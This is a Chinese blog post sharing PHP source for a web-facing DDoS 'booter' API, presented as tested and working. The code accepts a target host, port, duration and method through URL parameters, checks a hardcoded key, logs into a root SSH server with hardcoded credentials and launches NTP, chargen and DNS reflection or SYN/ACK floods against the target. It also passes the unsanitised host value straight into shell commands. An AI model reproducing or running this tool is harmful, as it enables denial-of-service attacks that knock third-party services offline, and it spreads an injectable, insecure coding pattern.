您的足迹:首页 > 网站程序 >ddos网页端反射攻击的API源码

ddos网页端反射攻击的API源码

实测源码没问题 API服务器需要安装SSH2扩展库

<?php
ignore_user_abort(true);
set_time_limit(1000);
$server_ip = "1.3.3.7"; //ip  
$server_pass = "aeys"; //密码  
$server_user = "root"; //账号  
$key = $_GET['key'];
$host = $_GET['host'];
$port = intval($_GET['port']);
$time = intval($_GET['time']);
$method = $_GET['method'];
$action = $_GET['action'];
$array = array("ntp","chargen","dns","syn","ack");
$ray = array("aeys"); //key
if (!empty($key)){
}else{
die('Error: API key is empty!');}
if (in_array($key, $ray)){
}else{
die('Error: Incorrect API key!');}
if (!empty($time)){
}else{
die('Error: time is empty!');}
if (!empty($host)){
}else{
die('Error: Host is empty!');}
if (!empty($method)){
}else{
die('Error: Method is empty!');}
if (in_array($method, $array)){
}else{
die('Error: The method you requested does not exist!');}
if ($port > 44405){
die('Error: Ports over 44405 do not exist');}	
if ($time > 1000){
die('Error: Cannot exceed 1000 seconds!');}  
if(ctype_digit($Time)){
die('Error: Time is not in numeric form!');}
if(ctype_digit($Port)){
die('Error: Port is not in numeric form!');}
if ($method == "dns") { $command = "/path/to/dns $host $port /path/to/d.txt 2 -1 $time"; } //攻击脚本、反射文件目录,攻击命令
if ($method == "chargen") { $command = "/path/to/chargen $host $port /path/to/c.txt 2 -1 $time"; }
if ($method == "ntp") { $command = "/path/to/ntp $host $port /path/to/n.txt 2 -1 $time"; }
if ($method == "ack") { $command = "/path/to/gem -T0 -h $host -t $time"; }
if ($method == "syn") { $command = "/path/to/gem -T3 -h $host -t $time"; }
if ($action == "stop") { $command = "pkill $host -f"; }
if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
if(!($con = ssh2_connect($server_ip, 22))){
  echo "Error: Connection Issue";
} else {
    if(!ssh2_auth_password($con, $server_user, $server_pass)) {
	echo "Error: Login failed, one or more of you're server credentials are incorrect.";
    } else {
	
        if (!($stream = ssh2_exec($con, $command ))) {
            echo "Error: You're server was not able to execute you're methods file and or its dependencies";
        } else {    
            stream_set_blocking($stream, false);
            $data = "";
            while ($buf = fread($stream,4096)) {
                $data .= $buf;
            }
			echo "Attack started!!</br>Hitting: $host</br>On Port: $port </br>Attack Length: $time</br>With: $method";
            fclose($stream);
        }
    }
}
?>

本博客所有文章如无特别注明均为原创。作者:老王复制或转载请以超链接形式注明转自 极客中国-关注黑客与极客!
原文地址《ddos网页端反射攻击的API源码

相关推荐

发表评论

路人甲 表情
Ctrl+Enter快速提交

网友评论(0)